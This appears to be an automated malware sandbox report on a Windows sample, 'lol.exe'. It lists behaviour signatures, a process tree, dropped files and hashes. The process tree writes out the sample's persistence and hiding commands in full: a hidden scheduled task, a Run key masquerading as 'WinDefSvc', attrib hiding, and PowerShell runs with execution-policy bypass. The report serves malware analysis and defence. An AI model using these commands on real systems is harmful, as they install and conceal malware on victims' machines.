Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    31/05/2026, 12:43

General

  • Target
    lol.exe
  • Size 319KB
  • Sample260531-pyc4eagx9t
  • SHA256 15246ea17760cd4adf96629a48c2982b36bc3b1614534fd9721504ecfaf9231f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Executes dropped EXE 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\lol.exe
    "C:\Users\Admin\AppData\Local\Temp\lol.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6116
    • C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe" --r
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe" --wd 4764
        3⤵
        • Executes dropped EXE
        PID:2536
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\TaskWorkerMonitor' -Action $a -Trigger $t -Settings $s"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4768
        • C:\Windows\system32\chcp.com
          chcp 65001
          4⤵
            PID:4864
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoP -W Hidden -C "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe';$t=New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 2);$s=New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0;Register-ScheduledTask -Force -TaskName '\Microsoft\Windows\Maintenance\TaskWorkerMonitor' -Action $a -Trigger $t -Settings $s"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3880
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc minute /mo 1 /tn "TaskWorkerHelper" /tr "\"C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe\""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:5960
          • C:\Windows\system32\chcp.com
            chcp 65001
            4⤵
              PID:6084
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc minute /mo 1 /tn "TaskWorkerHelper" /tr "\"C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe\""
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2852
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c chcp 65001 >nul && reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinDefSvc /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe" /f
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2872
            • C:\Windows\system32\chcp.com
              chcp 65001
              4⤵
                PID:4540
              • C:\Windows\system32\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinDefSvc /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe" /f
                4⤵
                • Adds Run key to start application
                • Modifies registry key
                PID:2864
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe"
              3⤵
              • Hide Artifacts: Hidden Files and Directories
              • Suspicious use of WriteProcessMemory
              PID:3168
              • C:\Windows\system32\chcp.com
                chcp 65001
                4⤵
                  PID:5984
                • C:\Windows\system32\attrib.exe
                  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe"
                  4⤵
                  • Views/modifies file attributes
                  PID:4268
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c chcp 65001 >nul && powershell -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\mc_lc.ps1
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:772
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  4⤵
                    PID:4448
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\mc_lc.ps1
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4256
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c chcp 65001 >nul && powershell -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\mc_cam_find.ps1
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3732
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    4⤵
                      PID:3388
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\mc_cam_find.ps1
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1460
              • C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe
                "C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe"
                1⤵
                • Executes dropped EXE
                PID:5208
              • C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe
                C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe
                1⤵
                • Executes dropped EXE
                PID:1760
              • C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe
                C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe
                1⤵
                • Executes dropped EXE
                PID:4616
              • C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe
                C:\Users\Admin\AppData\Roaming\TaskWorkerHelper.exe
                1⤵
                • Executes dropped EXE
                PID:4276
              • C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe
                C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe
                1⤵
                • Executes dropped EXE
                PID:4664

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    powershell.exe.log

                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 3KB
                    • SHA256 91dd8682bdce1321d453d777baac5a9f94165dabce301c3554a52fb82d9a836d
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 10f7d2288fefb1efd6351733299453b7dffc867e0727f7b918d7def87801f3b5
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 eb00507966b97e3ab5919ff3bbbd3e026f748241a55aeac4243350ff7fbb5aaa
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_npq0hlyw.y4h.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_npq0hlyw.y4h.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    mc_cam_find.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\mc_cam_find.ps1
                    • Size 442B
                    • SHA256 552649ff15e4fd81fbf5bb69c747095c7040753449f33c57903c0bc72579d0c7
                    • MD5 SHA1 SHA512 TLSH

                    mc_lc.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\mc_lc.ps1
                    • Size 773B
                    • SHA256 90c2ec35850528fd459078e552a49e902b035fbc8f6d877071f25f28d5da52a9
                    • MD5 SHA1 SHA512 TLSH

                    TaskWorkerHelper.exe

                    • Path C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\TaskWorkerHelper.exe
                    • Size 319KB
                    • SHA256 15246ea17760cd4adf96629a48c2982b36bc3b1614534fd9721504ecfaf9231f
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/1460-84-0x000001CFA7BF0000-0x000001CFA7CA3000-memory.dmp

                    memory/1760-38-0x00007FF647FA0000-0x00007FF64800D000-memory.dmp

                    memory/2536-40-0x00007FF638CF0000-0x00007FF638D5D000-memory.dmp

                    memory/3880-23-0x000001BFCC080000-0x000001BFCC09C000-memory.dmp

                    memory/3880-22-0x000001BFCC050000-0x000001BFCC05A000-memory.dmp

                    memory/3880-20-0x000001BFCBF70000-0x000001BFCBF8C000-memory.dmp

                    memory/3880-21-0x000001BFCBF90000-0x000001BFCC043000-memory.dmp

                    memory/3880-12-0x000001BFCBCD0000-0x000001BFCBCF2000-memory.dmp

                    memory/4256-67-0x000001BB7E400000-0x000001BB7E424000-memory.dmp

                    memory/4256-65-0x000001BB1A5A0000-0x000001BB1A653000-memory.dmp

                    memory/4256-66-0x000001BB7E400000-0x000001BB7E42A000-memory.dmp

                    memory/4276-105-0x00007FF647FA0000-0x00007FF64800D000-memory.dmp

                    memory/4616-88-0x00007FF647FA0000-0x00007FF64800D000-memory.dmp

                    memory/4664-111-0x00007FF638CF0000-0x00007FF638D5D000-memory.dmp

                    memory/4764-47-0x00007FF638CF0000-0x00007FF638D5D000-memory.dmp

                    memory/4764-39-0x00007FF638CF0000-0x00007FF638D5D000-memory.dmp

                    memory/4764-89-0x00007FF638CF0000-0x00007FF638D5D000-memory.dmp

                    memory/4764-94-0x00007FF638CF0000-0x00007FF638D5D000-memory.dmp

                    memory/5208-35-0x00007FF647FA0000-0x00007FF64800D000-memory.dmp

                    memory/6116-13-0x00007FF6A4530000-0x00007FF6A459D000-memory.dmp